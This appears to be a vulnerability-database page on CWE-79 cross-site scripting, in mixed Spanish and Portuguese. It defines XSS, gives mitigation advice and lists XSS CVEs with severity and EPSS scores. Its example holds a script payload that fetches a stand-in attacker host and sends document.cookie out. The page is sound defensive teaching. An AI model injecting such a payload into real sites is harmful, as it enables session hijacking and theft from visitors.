Fallos del tipo CWE-79

29.084 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-0618MEDIUMFluent Forms <= 5.1.5 - Authenticated(Administrator+) Stored Cross-Site Scripting via imported form titleEPSS 0.5%CVE-2016-15025LOWgenerator-hottowel 404 Error _app.js cross site scriptingEPSS 0.5%CVE-2024-3588MEDIUMGetwid – Gutenberg Blocks <= 2.0.7 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via 'Countdown'EPSS 0.5%CVE-2022-4877LOWsnoyberg keter Proxy.hs cross site scriptingEPSS 0.5%CVE-2022-45543MEDIUMCross site scripting (XSS) vulnerability in DiscuzX 3.4 allows attackers to execute arbitrary code via the datetline, title, tpp, or usernamEPSS 0.5%CVE-2021-36828MEDIUMWordPress WP Maintenance plugin <= 6.0.4 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2015-10072LOWNREL api-umbrella-web Flash Message cross site scriptingEPSS 0.5%CVE-2022-45016MEDIUMA cross-site scripting (XSS) vulnerability in the Search Settings module of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scriptEPSS 0.5%CVE-2021-37208CRITICALA vulnerability has been identified in RUGGEDCOM i800, RUGGEDCOM i800NC, RUGGEDCOM i801, RUGGEDCOM i801NC, RUGGEDCOM i802, RUGGEDCOM i802NC,EPSS 0.5%CVE-2022-4588LOWBoston Sleep slice Layout cross site scriptingEPSS 0.5%CVE-2022-45013MEDIUMA cross-site scripting (XSS) vulnerability in the Show Advanced Option module of WBCE CMS v1.5.4 allows attackers to execute arbitrary web sEPSS 0.5%CVE-2022-25609MEDIUMWordPress Yoo Slider plugin <= 2.0.0 - Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2022-45014MEDIUMA cross-site scripting (XSS) vulnerability in the Search Settings module of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scriptEPSS 0.5%CVE-2023-1090MEDIUMWP SMTP Mailing Queue < 2.0.1 - Admin+ Stored XSSEPSS 0.5%CVE-2022-45015MEDIUMA cross-site scripting (XSS) vulnerability in the Search Settings module of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scriptEPSS 0.5%CVE-2023-30454MEDIUMAn issue was discovered in ebankIT before 7. Document Object Model based XSS exists within the /Security/Transactions/Transactions.aspx endpEPSS 0.5%CVE-2022-27505—Reflected cross site scripting (XSS)EPSS 0.5%CVE-2022-45012MEDIUMA cross-site scripting (XSS) vulnerability in the Modify Page module of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts orEPSS 0.5%CVE-2022-47102MEDIUMA cross-site scripting (XSS) vulnerability in Student Study Center Management System V 1.0 allows attackers to execute arbitrary web scriptsEPSS 0.5%CVE-2024-36201MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%